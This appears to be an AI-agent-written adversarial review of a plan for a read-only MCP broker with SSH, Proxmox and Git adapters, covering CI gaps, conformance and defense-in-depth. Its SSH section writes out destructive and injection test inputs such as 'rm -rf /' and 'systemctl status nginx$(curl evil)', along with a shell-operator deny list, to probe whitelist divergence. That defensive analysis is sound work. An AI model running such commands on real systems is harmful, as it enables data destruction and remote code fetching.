Files
coreci-chat/.ciagent/GRILL.md
T
CIAgent 0c15d3d0b2 docs(milestone): complete M2 — MCP Layer & Day 1 Adapters (v0.2)
M2 delivers the read-only MCP capability broker gateway and four Day-1
infrastructure adapters (Proxmox, SSH/Linux, GitHub, Gitea). 13 REQs (015-027)
all pass. 656 tests green. M1 non-regression verified.

MCP spec 2025-06-18 conformance verified (PROTOCOL.md + 7 tests).
Defense-in-depth SSH (broker layer 1 + Relay Agent layer 2 + no-shell exec).
Two-track LLM smoke (Track A mock-path P0 gate passes).
CI: Gitea Actions (.gitea/workflows/ci.yml) with Postgres 16 + RLS verification.

Phases shipped:
  P0  pre-execution          v0.1.0
  P1  Wave F — MCP gateway   v0.1.1
  P2  Wave G — Proxmox       v0.1.2
  P3  Wave H — SSH/Linux     v0.1.3
  P4  Wave I — Git adapters   v0.1.4
  P5  Wave J — SSE+smoke+UI  v0.1.5
  P6  Final — review+ship    v0.1.6 ← milestone release

---ci---
phase: 6
milestone: v0.2
status: complete
phase_role: final
milestone_complete: true
requirements:
  covered: [REQ-015, REQ-016, REQ-017, REQ-018, REQ-019, REQ-020, REQ-021, REQ-022, REQ-023, REQ-024, REQ-025, REQ-026, REQ-027]
  partial: []
---/ci---
2026-08-25 06:14:21 +00:00

58 KiB
Raw Blame History

GRILL.md — M2 Plan Adversarial Review

Reviewer: ci-griller (red-team persona) Subject: .ciagent/PLAN.md — M2 plan (6 waves F/G/H/I/J/final + Wave 0 prerequisites) Spec: .ciagent/steer-m2-spec.md v1.0 (locked 2026-08-25, Sarah Chen) Scope: M2 — 13 REQs (015027), 6 waves, MCP capability broker + 4 Day-1 adapters + SSE + rate-limiting + LLM smoke + Postgres 16 CI/RLS verification Date: 2026-08-25 Method: 9-axis adversarial review with binding verdicts. Confidence ≥ 0.60 = binding; < 0.60 = escalate. Source verification grounded in actual M1 code (apps/relay-agent/whitelist/whitelist.go, apps/control-plane/ws-server.ts, packages/db/src/withTenant.ts, packages/db/src/audit.ts, packages/secrets/src/provider.ts, apps/relay-agent/wsclient/client.go, packages/db/migrations/0001_init.sql).

M1 GRILL preserved in git history (commit prior to M2 overwrite, G-001..G-010). This M2 GRILL continues binding-fix numbering from G-011.


Verdict Summary

Axis Verdict One-line rationale
1. Requirements coverage PASS-WITH-FIXES All 13 REQs map to tasks + must-haves + tests, but the audit event_type union type must be extended (a hidden integration task the plan labels "additive — no schema change") and the 6 REQs with split ownership (broker in F, adapter in G/H/I) have no cross-wave contract for the adapter interface.
2. Closed tool set completeness (PO #1) PASS-WITH-FIXES The 9-tool set is a defensible conservative starter, but operators will demand ps aux/ss -tlnp/top (SSH), Proxmox node-list, and GitHub PR-list on day 1; the "additions require spec amendment" gate is enforceable only if the gaps are documented pre-ship so operators aren't surprised.
3. Defense-in-depth SSH (PO #2) PASS-WITH-FIXES The two-layer model is sound in principle, but the broker layer-1 validator and the Go CheckCommand layer-2 use different matching algorithms (TS regex per-command vs Go longest-prefix-match + deny-list), so divergence is not just possible but expected — and the plan's cross-layer test only asserts rm -rf / is rejected by both, not that a valid command is accepted by both. A command that passes broker validation but fails CheckCommand (or vice versa) is an untested failure mode.
4. INV-7 at the broker (PO #3) PASS-WITH-FIXES The method-based write-blocklist is sufficient for M2's REST-only fixed-endpoint adapters, but it is weaker than an endpoint allowlist, does not cover GraphQL mutations (a future risk), and relies on "GET = safe" which is not universally true for PVE (some PVE GETs have side effects). The plan overstates the blocklist as "the load-bearing safety boundary" — the closed 9-tool registry (REQ-015) is actually the primary boundary; the blocklist is a backstop for adapter bugs.
5. MCP conformance evidence (PO #4, lowest confidence 0.80) PASS-WITH-FIXES The synthetic initialize handshake is a facade (in-process, no wire), the 6 tests verify JSON-RPC shape not interoperability, and no external MCP client connects. The stdio transport for the LLM smoke is the only path a real MCP client traverses — but that path isn't part of the conformance suite. Conformance at 0.80 confidence is honest but the artifact doesn't prove an external MCP client could connect.
6. LLM smoke reliability (PO — P0, not deferrable) FAIL The 7-step smoke depends on real GitHub availability in CI, but no CI pipeline exists (.github/workflows/ absent; STATE.md: "CI/CD: UNKNOWN — needs investigation"), there is no retry policy for GitHub outages/rate-limits, no fallback mock-GitHub adapter for the smoke, and the deterministic llm-mock pattern-matching is brittle (prompt wording drift → wrong tool_call). A P0 gate item resting on infrastructure that does not exist and a dependency with no fallback is the single biggest M2 delivery risk.
7. Wave ordering & parallelism PASS-WITH-FIXES F-first is correct, but G/H/I are not truly independent — they all consume F's adapter interface and mcp_adapters schema, and F ships stub adapters whose interface may diverge from real adapter needs, serializing G/H/I on F rework. The plan's parallelism diagram assumes F's stubs are contract-correct, which is unverified.
8. M1 non-regression PASS-WITH-FIXES M2 is additive at the DB layer, but the M1 audit AuditEventType TS union must be extended (compile-break), the WS server handleMessage switch must add a tool_call case (behavioral change to a shared file), and Wave 0 RLS verification against real Postgres 16 may surface M1 RLS bugs that PGlite never caught — which would block M2 on M1 rework.
9. Operational readiness FAIL The M2 gate (15 items) cannot pass because there is no CI/CD pipeline at all (gate items 5 and 6 require CI; .github/workflows/ does not exist). The plan's entire test strategy — Postgres 16 service container, real GitHub PAT, two CI jobs (test-pglite + test-postgres), the LLM smoke — presupposes CI infrastructure that has never been provisioned. This is an M2-cycle P0 blocker that the plan treats as a Wave 0 "prerequisite" without acknowledging it doesn't exist.

Final Verdict: FAIL — Two P0 blockers (no CI pipeline; LLM smoke has no reliability fallback) prevent the M2 gate from passing as planned. Six axes are PASS-WITH-FIXES and resolvable with binding fixes G-011..G-022. The plan's architecture is sound; its operational foundation is not. EXECUTE must not begin until the two P0 blockers are resolved and the binding fixes are applied to PLAN.md.


Axis 1: Requirements Coverage

Verdict: PASS-WITH-FIXES

Every one of the 13 M2 REQs (015027) has a task, a must-have, and a test in the plan:

REQ Wave Task Must-have Test Verdict
REQ-015 F T2 registry conformance tools-list.test.ts
REQ-016 F T3 router conformance tools-call-happy.test.ts
REQ-017 F+J T6 stream + J T4 UI SSE tests + UI
REQ-018 F T4 write-blocklist per-adapter test at gate
REQ-019 F T5 rate-limiter 429 tests
REQ-020 G G T1-2 mock PVE
REQ-021 H H T1-2 cross-layer test
REQ-022 I I T1-2 real GitHub smoke
REQ-023 I I T4-5 mock + running instance
REQ-024 F T11 multi-target test
REQ-025 G G T3 mock validation
REQ-026 H H T1-3 cross-layer + Go tests
REQ-027 I I T3,T6 scope-validation tests

Two hidden integration gaps:

  1. The audit event_type union type must be extended. The M1 source (packages/db/src/audit.ts:24-32) defines AuditEventType as a TS union: "prompt" | "tool_call" | "ssh_command" | "response" | "config" | "auth" | "provision" | "validation". The M2 plan calls for new event types adapter.configured, adapter.test_connection.{succeeded,failed}, adapter.capability_invoked, adapter.write_rejected — none of which are in the union. The DB column (0001_init.sql:93) is TEXT NOT NULL with a comment listing types but no CHECK constraint, so the DB will accept the new types without migration. But appendAudit(client, event) is typed to reject them at compile time. The plan repeatedly says "additive — no schema change" (PLAN.md:208, ARCHITECTURE.md:42). That is true at the DB layer and false at the TS layer. This is a real integration task hidden inside "additive," and it belongs to no wave's task list explicitly.

  2. The broker↔adapter interface contract is not specified between F and G/H/I. Wave F ships "stub adapters for testing" (T13) — one per type, canned responses. Waves G/H/I plug in real adapters. But the interface between the broker and an adapter (the in-process custom transport's tools/list and tools/call shape, the adapter registration contract, the SecretProvider.get call pattern, the audit-event-append responsibility) is not written down as a contract F owns. If the real adapters in G/H/I need a different shape than F's stubs, F rework serializes G/H/I. The plan's parallelism diagram (PLAN.md:528-542) assumes the stubs are contract-correct; that assumption is unverified.

Confidence: 0.82 — both gaps are fixable in the plan; neither is a spec defect.


Axis 2: Closed Tool Set Completeness (PO Expectation #1)

Verdict: PASS-WITH-FIXES

The 9-tool starter set (REQ-015) is a defensible conservative choice for a read-only Day-1 wedge. The "additions require spec amendment (v1.2+)" gate (spec §7 Q2, CLARIFY.md:123) is the correct scope-control mechanism and is enforceable: the broker's registry is a closed enumeration with no "custom tool" endpoint, and per-tenant policy can only disable, never add. That gate holds.

But the plan does not document the known gaps, which guarantees operator surprise post-ship. Operators of enterprise infrastructure will, on day 1, reach for tools that are conspicuously absent:

  • SSH/Linux: ps aux (process list — the first command an SRE runs when diagnosing a hung service), ss -tlnp (listening ports — core security audit), top (load), ip addr/ip route (network). M1's broader whitelist (whitelist.go ships ps, top, ss, netstat, ip, ... per RESEARCH.md R-003) already permits these at the Relay Agent layer — but M2's 6-command broker subset (uptime, df -h, free -m, systemctl status, journalctl -n, systemctl list-units --type=service) deliberately excludes them. So an operator who sees the Relay Agent supports ps aux at the Go layer will be told "no" at the broker layer. That gap is intentional (conservative subset) but undocumented in the user-facing surface.

  • Proxmox: there is no proxmox.list_nodes tool — proxmox.list_vms requires a node argument (REQ-015, R-002), but the operator has no way to discover node names through the tool set. The plan's UI workaround ("the operator knows their node names," R-002) is a UX cop-out for a multi-node cluster. An operator with 4 PVE nodes must guess or look up node names externally. This is a day-1 UX gap.

  • GitHub: github.list_repos returns "up to 100 repos (first page)" (R-004, PLAN.md:378) — no pagination, no PR list, no issue list. For an org with >100 repos, the tool silently truncates. github.get_workflow_run exists but github.list_workflows (the workflow catalog) does not — so to call get_workflow_run you need a run_id you can only get from get_recent_ci_runs. The flow works but is not discoverable.

  • Gitea: no gitea.get_workflow_run (deferred to v1.2+ per Q2) — so Gitea users get a strictly weaker surface than GitHub users for the same adapter class.

The "additions require spec amendment" gate is the right governance answer, but it does not solve the expectation problem. If these gaps are not documented in the Settings → Adapters UI help text before ship, operators will file P1 bugs that the plan will then have to triage as "wontfix — spec amendment required." That's a support cost the plan is silently incurring.

The enforcement question (PO #1: "is the gate actually enforceable, or will there be pressure to add tools mid-M2?"): The gate is enforceable technically (closed registry, no endpoint). It is not enforceable politically if the gaps above cause a customer-blocking issue during a Day-1 deployment. The pressure vector is: a paying customer cannot diagnose an incident because ps aux is missing, and the sales/engineering loop demands an emergency tool addition "just this once." The gate holds only if the gaps are named pre-ship so the customer agrees to the closed set with eyes open. Documentation is the mitigation; the gate itself does not prevent pressure.

Confidence: 0.78 — the set is sound; the documentation of gaps is the fix.


Axis 3: Defense-in-Depth SSH (PO Expectation #2)

Verdict: PASS-WITH-FIXES

The two-layer model — broker validates command (layer 1, TS) before dispatch, Relay Agent CheckCommand validates (layer 2, Go) at execution — is the right architecture. Layer 1 (6-command subset) is stricter than layer 2 (M1's broader whitelist: cat, ls, systemctl status, journalctl, df, du, ps, top, ss, netstat, ip, uptime, ... per RESEARCH.md R-003 and confirmed in whitelist_test.go:80-108), which is correct defense-in-depth: the inner layer must reject everything the outer rejects, plus more.

But the two implementations use fundamentally different matching algorithms, and the plan does not test the divergence case.

  • Broker layer 1 (TS, planned packages/mcp/adapters/ssh/whitelist-check.ts): regex per command — uptime exact match; df -h exact; systemctl status + ^[a-zA-Z0-9_.-]+$ service name; journalctl -n + ^([1-9][0-9]{0,2}|500)$; systemctl list-units --type=service exact. This is a per-command rule table, not a general parser. It does not tokenize.

  • Relay Agent layer 2 (Go, whitelist.go:92-149): a tokenizer + longest-prefix-match against the whitelist Commands array, then a deny-list scan (Arguments.Deny: -exec, |, >, >>, &, ;, &&, ||, ...). The Go layer does not validate the service-name character set for systemctl status <svc> — it accepts any tokens after the systemctl status prefix as long as no deny token appears. So systemctl status nginx; rm -rf / — the Go layer would reject because ; is in the deny list. But systemctl status nginx$(curl evil) — the Go layer would accept because $, (, ) are not in the deny list, and the prefix systemctl status matches. The broker layer 1 (regex ^[a-zA-Z0-9_.-]+$) would reject nginx$(curl evil) because $( are not in the character class. So the two layers disagree on systemctl status nginx$(curl evil): broker rejects (good), Go accepts (bad, but harmless because exec.Command with split argv runs systemctl status nginx$(curl evil) as a literal service name — no shell expansion, so the $() is not executed). The no-shell exec.Command (split argv) is the third enforcement layer and saves the Go layer here. But the divergence is real and untested.

  • Argument injection (PO #2's specific question: systemctl status nginx; rm -rf /): The Go layer catches ; via the deny list (whitelist.go:110-116). The broker layer-1 regex ^[a-zA-Z0-9_.-]+$ rejects ;. Both reject. ✓. But systemctl status nginx rm -rf / (space-separated, no ;) — the Go layer's prefix match accepts systemctl status then sees nginx, rm, -rf, / as trailing tokens; none are in the deny list, so Go accepts. The broker regex rejects because the service-name capture is nginx rm -rf / which fails ^[a-zA-Z0-9_.-]+$ (spaces). So the broker rejects and Go accepts. This is the divergence the PO asked about. The broker is correct; Go is wrong (it would run systemctl status nginx rm -rf / which systemctl interprets as "status of unit nginx, then ignore rm -rf / as extra args — actually harmless, but the principle is broken). The cross-layer test (R-003, PLAN.md:333-335) only asserts rm -rf / (base command unknown) is rejected by both. It does not test systemctl status nginx rm -rf / (valid prefix, malicious trailing args) — the actual divergence case.

  • A command that passes broker but fails CheckCommand (or vice versa): This is the untested failure mode the PO named. The cross-layer test asserts both reject rm -rf /. It does not assert both accept a valid command like systemctl status nginx — and given the algorithm divergence, that's the case that could diverge. A valid command that the broker accepts but Go rejects (false negative at the broker would let it through; false negative at Go would let it execute) is the risk.

The fix: expand the cross-layer test (R-003) to a divergence matrix: (a) both reject rm -rf /; (b) both accept systemctl status nginx; (c) broker rejects systemctl status nginx rm -rf / (regex fails on spaces) — assert Go also rejects (it currently does NOT without a deny-list entry for bare rm); (d) Go accepts systemctl status nginx$(curl evil) (deny list misses $()) — assert broker rejects (regex fails). Cases (c) and (d) will currently fail on one layer, exposing the divergence. The fix is to either (i) tighten the Go deny list to include rm, $, (, ), or (ii) tighten the Go layer to validate trailing tokens for systemctl status against the same character class the broker uses. Option (ii) makes the two layers semantically equivalent for the 6-command subset, which is the defense-in-depth intent.

Confidence: 0.72 — the architecture is sound; the divergence is real and fixable; the cross-layer test is insufficient.


Axis 4: INV-7 at the Broker (PO Expectation #3)

Verdict: PASS-WITH-FIXES

The plan's write-method blocklist (REQ-018) rejects, per adapter: Proxmox POST/PUT/DELETE; SSH non-whitelist commands; GitHub scopes outside metadata:read+actions:read; Gitea POST/PUT/DELETE/PATCH. The broker is documented as "the load-bearing safety boundary" (spec §5, REQ-018 acceptance criterion). Verified against M1 source: the broker does not exist yet (Wave F builds it), so this is a plan-vs-spec review, not a code review.

The blocklist is sufficient for M2's actual adapter surface, but it is weaker than the PO's framing implies, and the framing matters because it governs where future security review focuses.

  1. The closed 9-tool registry (REQ-015) is the primary boundary, not the write-blocklist. proxmox.shutdown_vm is not a tool. The broker cannot route it because the registry doesn't contain it. The write-blocklist is a backstop for adapter bugs — the scenario where the adapter code mistakenly constructs a POST. The plan presents the blocklist as "the load-bearing safety boundary" and the closed registry as a secondary mention. This is inverted. The registry is the gate; the blocklist is defense-in-depth against the adapter. A security reviewer who reads "the broker is the load-bearing safety boundary" and then audits the blocklist will miss that the registry is the actual control. The fix is a documentation correction, not a code change — but it changes where review attention goes.

  2. Method-based blocklist vs endpoint allowlist (PO #3's specific concern). The blocklist says "Proxmox: reject POST/PUT/DELETE." This means "allow GET." But PVE has GET endpoints with side effects (e.g., GET /api2/json/nodes/{node}/qemu/{vmid}/status/current is safe, but some PVE API GET endpoints trigger snapshot operations or API token reload depending on configuration — this is a known PVE quirk). The M2 adapter calls only 3 specific GET endpoints (/nodes, /nodes/{node}/qemu, /nodes/{node}/qemu/{vmid}/status/current, /nodes/{node}/status), all of which are genuinely read-only. So the blocklist is correct for M2's 3 tools but not generally correct for PVE. The stronger model — an endpoint allowlist (only permit these exact paths) — would be safe against any PVE GET-with-side-effects. The plan's adapter code implicitly does this (it only constructs the 3 paths), but the blocklist does not enforce it. If a future tool (proxmox.snapshot_list, say) hits a GET endpoint with side effects, the blocklist would allow it. The fix: document that the blocklist is method-based and REST-specific, that the 3 PVE endpoints are verified read-only, and that an endpoint allowlist is the M3+ evolution if the tool set grows.

  3. GraphQL mutations (PO #3's specific concern). GitHub has a GraphQL API with mutations (createIssue, mergePullRequest, ...). The M2 GitHub adapter uses only REST GET (PLAN.md:377-380). The write-blocklist is method-based (POST/PUT/DELETE) — it does not cover GraphQL. If a future adapter uses GraphQL, the blocklist is blind to mutations (GraphQL uses POST for both queries and mutations). For M2 this is moot — no GraphQL adapter exists. But the plan should document that the blocklist is REST-method-based and that a GraphQL adapter (if ever added) needs a different enforcement model (allowlist of specific GraphQL operations, not HTTP method). Leaving this undocumented creates a future security gap that will be discovered post-incident.

  4. GitHub scopes outside metadata:read+actions:read (REQ-018 wording). The blocklist wording for GitHub is "scopes outside metadata:read+actions:read" — but this is not a method blocklist like the others; it's a scope check. And per R-004, GitHub has no fine-grained PAT scope introspection endpoint — the broker can only detect missing scopes at invocation time via 403 + X-Accepted-GitHub-Permissions. So the "blocklist" for GitHub is really a runtime 403-handler, not a pre-dispatch reject. This is a different enforcement model from Proxmox/Gitea (method blocklist, pre-dispatch). The plan conflates them under "write-method blocklist." The fix: separate the two enforcement models in the write-blocklist module — (a) method blocklist (Proxmox/Gitea: pre-dispatch HTTP-method check); (b) scope-via-403 (GitHub: runtime 403 + header handling, per R-004). They are not the same mechanism.

  5. GET-with-side-effects on Proxmox (PO #3's specific concern). Addressed in (2) above. The 3 M2 endpoints are verified read-only; the blocklist is sufficient for M2; an endpoint allowlist is the stronger future model.

Confidence: 0.75 — the M2 surface is safe; the framing and documentation are the fixes; GraphQL/PVE-GET-with-side-effects are future risks that must be documented.


Axis 5: MCP Conformance Evidence (PO Expectation #4, lowest confidence 0.80)

Verdict: PASS-WITH-FIXES

The plan's conformance artifact (R-001, PLAN.md:213-222) is: packages/mcp/PROTOCOL.md + 6 tests in tests/mcp-conformance/ (tools-list, tools-call-happy, tools-call-error, tools-call-invalid-args, translator, lifecycle) + a MCP_PROTOCOL_VERSION = "2025-06-18" constant. This is a reasonable internal conformance suite.

But it does not prove MCP interoperability, which is what "conformance" means to an external auditor.

  1. The synthetic initialize/initialized handshake is a facade. The in-process custom transport (D-007) passes JSON-RPC messages as JS objects — no wire serialization, no actual transport. The synthetic handshake (broker → {method:"initialize",...}, adapter → {capabilities:{tools:{}}}) is a function call, not a protocol exchange. RESEARCH.md R-001 (line 59) admits this: "implement a lightweight synthetic initialize exchange... so the conformance artifact can point to a real lifecycle exchange." It is not a real lifecycle exchange — it's a function call that looks like one. The lifecycle.test.ts asserts the "JSON-RPC 2.0 envelope shape" — but the envelope never crosses a transport boundary. An external MCP client (the official MCP inspector, or any third-party MCP host) cannot connect to the in-process transport. So the conformance artifact proves the broker's internal shape matches MCP, not that the broker is an MCP server.

  2. The stdio transport (broker ↔ CI/LLM smoke) is the only real-transport path — and it is not in the conformance suite. The LLM smoke (Wave J) connects to the broker via stdio (D-007: "stdio transport for broker ↔ CI/LLM smoke"). This is a real MCP transport. But the conformance tests (Wave F) don't cover it; the LLM smoke (Wave J) does not assert MCP conformance, only that the smoke passes. So the one path where a real MCP client connects (the LLM smoke via stdio) is tested for function (does the smoke pass?) but not for conformance (does tools/list + tools/call over stdio match the spec verbatim?).

  3. No external MCP client connects. The PO's question — "Will an external MCP client (e.g., the official MCP inspector) be able to connect and pass tools/list + tools/call?" — the honest answer is: untested. The plan has no test that connects an external MCP client. The 6 conformance tests are all in-process. The stdio path is exercised by the LLM smoke (which uses a custom llm-mock, not the MCP inspector). So the 0.80 confidence is honest (R-001 says "the only residual risk is the synthetic lifecycle handshake") but the artifact does not close the residual risk.

The fix (PO #4: "Should the stdio transport for CI smoke be the conformance path?"): Yes. Add a 7th conformance test — stdio-interop.test.ts — that connects to the broker via stdio transport (the same transport the LLM smoke uses), issues a real tools/list JSON-RPC request over stdin/stdout, asserts the response is a valid JSON-RPC 2.0 envelope with the 9 tools, then issues a tools/call for a mock adapter and asserts the result shape. This is the test that proves an external MCP client can connect. If the official MCP inspector (or a minimal stdio client) passes against the broker, the conformance claim is real, not facaded. This is the single highest-value fix in the grill — it moves the lowest-confidence axis (0.80) to evidence-backed.

  1. title and outputSchema (new in 2025-06-18). R-001 documents that title is optional and outputSchema is optional. The broker populates neither (RESEARCH.md:26). This is spec-compliant (both optional). But outputSchema would give the Test-Call UI structured result typing. This is a M2 may, not a must. Not a fix; a noted opportunity.

Confidence: 0.70 — the internal shape is verified; the external interoperability is not. The stdio conformance test is the fix.


Axis 6: LLM Smoke Reliability (PO — P0, Not Deferrable)

Verdict: FAIL

The M2 gate item 8 (spec §6) requires: "A chat-completion request with tools parameter invokes github.list_repos via the broker, receives adapter response, and returns a synthesized LLM response grounded in adapter data... If packages/llm-mock cannot reliably drive the full OpenAI→MCP→adapter→result→synthesis path against a real GitHub target in CI, that's a P0 issue for the M2 cycle, not a deferral to M3."

The plan's 7-step smoke (PLAN.md:463-472) is a correct flow. The problem is the infrastructure it rests on does not exist and the dependencies have no fallback.

  1. No CI pipeline exists. Verified: .github/workflows/ does not exist in the repo. STATE.md (section 3) confirms: "CI / CD: UNKNOWN — needs investigation (no CI/CD pipeline configured; local verification via pnpm typecheck/test, go test, bash install.test.sh)." The plan's Wave 0 prerequisite (PLAN.md:26-27) says "CI Postgres 16 container provisioned" and "Real GitHub PAT available in CI" — but there is no CI to provision them in. Gate item 5 ("CI/CD pipeline builds successfully — GREEN") and gate item 6 ("CI Postgres 16 container running; real GitHub PAT available in CI") presuppose CI infrastructure that has never been built. The plan treats "set up CI" as a Wave 0 prerequisite bullet point, eliding that it is a from-scratch CI/CD pipeline build — a non-trivial infrastructure project in its own right (GitHub Actions workflow, service containers, secrets management for the PAT, caching, matrix jobs). This is the M2 cycle's single largest hidden work item.

  2. Real GitHub in CI is a flaky dependency with no fallback. The smoke calls GET /user/repos against real GitHub with a real PAT. Failure modes: (a) GitHub is down (rare but real — GitHub has had multi-hour outages); (b) the PAT is rate-limited (x-ratelimit-remaining: 0 — the broker's own 60/min is well below GitHub's 5000/h, but the test-org-scoped PAT may be shared across CI runs or have a low limit); (c) the test org has 0 repos (the smoke asserts "real repo names from the CI test org" — if the org is empty, the assertion fails for a non-broker reason); (d) the PAT is expired or revoked. The plan has no retry policy for GitHub outages, no fallback mock-GitHub adapter for the smoke, and no skip-on-infrastructure-failure mechanism. A single GitHub API hiccup fails the M2 gate.

  3. packages/llm-mock determinism is brittle. The mock uses deterministic pattern matching (PLAN.md:446-449): prompt contains "list" + "repo" → tool_calls:[{function:{name:"github.list_repos",...}}]. This is a string-contains check. If the smoke prompt wording drifts (e.g., "Show me my GitHub repositories" instead of "List my GitHub repositories"), the pattern misses "list" and the mock returns no tool_calls — the smoke fails for a mock-implementation reason, not a broker reason. The plan says "deterministic — no randomness" (PLAN.md:450), which is good for reproducibility but bad for robustness — the pattern is a fragile contract between the test prompt and the mock. A regex or keyword set, not a 2-word conjunction, is the fix.

  4. No mock-GitHub fallback. The PO's question — "is there a fallback (mock GitHub adapter for the smoke)?" — the answer is no. The plan's GitHub adapter (Wave I) calls real GitHub. The Wave F stub adapters (T13) include a github stub that returns canned {content:[{type:"text",text:"stub"}]} — but the LLM smoke (Wave J) uses the real GitHub adapter (gate item 8 requires "real GitHub target"). If the real GitHub is unavailable, the smoke cannot fall back to the stub because the stub doesn't return real repo names (the assertion requires "real repo names from the CI test org"). The fix: a github-mock adapter (distinct from the broker stub) that returns a deterministic canned repo list (e.g., [{"name":"coreci-test-repo-1"},{"name":"coreci-test-repo-2"}]) and a smoke variant that runs against github-mock always (proving the OpenAI→MCP→adapter→result→synthesis path) + a smoke variant that runs against real GitHub when available (proving real-target integration), with the real-GitHub variant marked allow-failure or optional so a GitHub outage doesn't block the M2 gate. The mock path is the P0 gate; the real path is the ideal.

This is the M2 cycle's P0 blocker. The PO is explicit: "If packages/llm-mock cannot reliably drive the full path against a real GitHub target in CI, that's a P0 issue." The plan cannot guarantee reliability because (a) no CI exists, (b) GitHub is an external dependency with no fallback, (c) the mock's pattern matching is brittle. The M2 cycle cannot ship until the smoke is reliable — and "reliable" requires a fallback path.

Confidence: 0.90 — this is the clearest FAIL in the grill. The fix is substantial (build CI, add fallback, harden the mock) and must land before EXECUTE.


Axis 7: Wave Ordering & Parallelism

Verdict: PASS-WITH-FIXES

The ordering (F → {G,H,I parallel} → J → Final) is architecturally correct: all adapters depend on the broker, J depends on the broker + at least one adapter (GitHub for the smoke), Final depends on all. The go-engineer persona reactivation for Wave H only (PERSONAS.md:19) is correctly scoped.

But the parallelism of G/H/I is not real — it is contingent on F's stub adapters being contract-correct, which is unverified.

  1. F ships stub adapters (T13); G/H/I plug in real adapters. The stubs are "minimal mock adapters (one per type) that the broker can route to" with "canned {content:[{type:"text",text:"stub"}], isError:false}." The real adapters (G: PVE API client; H: SSH via WebSocket; I: GitHub/Gitea REST) have different shapes — they make HTTP calls, resolve secrets, handle upstream errors, normalize responses. The interface between the broker and an adapter (the in-process custom transport's tools/list/tools/call contract) is defined by F's stubs. If G's real Proxmox adapter needs, say, async streaming (PVE API calls are async with fetch), and F's stub returns a sync canned string, the interface may need an async signature change that ripples back to F. The plan does not specify the adapter interface as a contract F owns — it is implicit in the stub code. G/H/I engineers will discover the contract by reading F's stubs, and if it doesn't fit, they either rework F or work around it. Either serializes.

  2. The mcp_adapters table (shipped in F) and the adapter interface (shipped in F with stubs) are the shared dependency. If the table schema needs a column for G (e.g., Proxmox needs allowSelfSigned in config JSON — the plan does put this in config jsonb, so this is covered), or the adapter interface needs a method for H (e.g., the SSH adapter needs a targetId→WebSocket reverse index that F's stubs don't build), G/H/I serialize on F. The plan's mcp_adapters schema (PLAN.md:161) is config jsonb (flexible), so schema changes are unlikely. The adapter interface is the risk.

  3. The reverse index targetsByTenant: Map<tenantId, Map<targetId, WebSocket>> (R-003, PLAN.md:323) is an H-specific need. The M1 ws-server.ts connectedAgents Map is keyed by WebSocket (verified: ws-server.ts:56 const connectedAgents = new Map<WebSocket, ConnectedAgent>()). The M1 ConnectedAgent (ws-server.ts:47-54) has tenantId and targetId fields. H needs to build the reverse index from this map. This is an H task (not F), so F's stubs don't need it. But if F's broker router assumes a targetId-indexed lookup that F's stubs provide via a different mechanism, H reworks the router. The plan's router (T3) "resolves (tenant_id, adapter_type, target_id) tuples to adapter instances" — for in-process adapters (G/I), the "instance" is a module; for SSH (H), the "instance" is a WebSocket. The router must handle both. F's stubs are all in-process modules; H's SSH adapter is a WebSocket client. The router's adapter-instance abstraction must accommodate both in-process and WebSocket-backed adapters in F, or H reworks the router. The plan does not call this out.

The fix: F must ship a documented McpAdapter interface (in packages/mcp/types.ts or similar) that both in-process adapters (G/I) and the WebSocket-backed SSH adapter (H) implement. The interface must specify: tools/list() → Promise<Tool[]>, tools/call(name, args) → Promise<McpResult>, and a registration mechanism. The stubs implement it; the real adapters implement it. This makes F→G/H/I a contract handoff, not a code-reading exercise. Without this, the parallelism is aspirational.

Confidence: 0.72 — the parallelism is achievable with a documented interface contract; without it, G/H/I serialize on F rework.


Axis 8: M1 Non-Regression

Verdict: PASS-WITH-FIXES

M2 is additive at the DB layer: new mcp_adapters table (F), new audit event types (F), no changes to M1 tables or invariants. Verified against M1 source: packages/db/src/withTenant.ts (unchanged), packages/secrets/src/provider.ts (unchanged), apps/relay-agent/whitelist/whitelist.go (G-004 contract lock — CheckCommand(cmd string) error signature unchanged, confirmed in source comment lines 4-8). The plan's claim "no schema, invariant, or behavioral changes to M1 systems except additive" is mostly true.

Three non-regression risks:

  1. The audit AuditEventType TS union must be extended (compile-break). Verified: packages/db/src/audit.ts:24-32 defines AuditEventType = "prompt" | "tool_call" | "ssh_command" | "response" | "config" | "auth" | "provision" | "validation". M2 needs adapter.configured, adapter.test_connection.succeeded, adapter.test_connection.failed, adapter.capability_invoked, adapter.write_rejected. The DB column (0001_init.sql:93) is TEXT NOT NULL with no CHECK constraint, so the DB accepts the new types. But appendAudit(client, event: AuditEvent) is typed — event.eventType: AuditEventType — so passing adapter.configured is a TS compile error. The M2 plan must extend the AuditEventType union (in packages/db/src/audit.ts) and that is a change to an M1 source file (packages/db/src/audit.ts). The plan says "additive — no schema change" (PLAN.md:208) which is true at the DB layer but false at the TS layer. This is a behavioral change to M1 code (a type widening) that must be called out as an M1-file edit, not hidden as "additive." It is low-risk (widening a union), but it is an M1 file change and must be owned.

  2. The WS server handleMessage switch must add a tool_call case. Verified: apps/control-plane/ws-server.ts:183-193 has a switch (msg.type) with register, ping, and a default that returns unknown message type. M2 (Wave H) adds a tool_call case. This is a behavioral change to a shared M1 file — the WS server now handles a new message type. M1's register/ping/pong paths are unaffected (the switch is additive), but the file is edited. The plan (PLAN.md:325) says "M1 non-regression: the register/ping/pong paths must continue to work; the heartbeat loop must not break." This is the right intent, but it is an M1-file edit that must be regression-tested — the plan's test strategy (PLAN.md:553-564) mentions "M1 non-regression: all M1 tests still pass" but does not add a specific M1-relay-WS regression test that asserts registerregistered and pingpong still work after the tool_call case is added.

  3. Wave 0 RLS verification may surface M1 RLS bugs. Verified via STATE.md: M1's RLS was tested on PGlite, which "does not enforce RLS on SELECT" (STATE.md section 2: "PGlite in dev/test — same schema, RLS not enforced on SELECT in PGlite 0.5.7, app-layer withTenant + explicit WHERE is primary enforcement"). The M1 audit.ts uses FOR UPDATE row locking (audit.ts:90) and withTenant sets app.tenant_id (withTenant.ts:57). Wave 0 (PLAN.md:43, R-009) replaces the placeholder expect(true).toBe(true) RLS assertions with real RLS WITH CHECK assertions against Postgres 16. This is the first time M1's RLS policies are tested against a real RLS-enforcing database. If M1's RLS policies have a bug (e.g., a policy that allows cross-tenant SELECT because the WHERE clause is wrong, or a missing FORCE ROW LEVEL SECURITY), Wave 0 will discover it — and that M1 bug blocks M2 because M2 reuses M1's withTenant + RLS. The plan acknowledges this as R-009 but treats it as a Wave 0 deliverable, not as an M1-regression risk. The fix: Wave 0 must run M1's full test suite against Postgres 16 (not just the RLS pen-test), and any M1 RLS failure is an M1-regression P0 that blocks M2 until fixed.

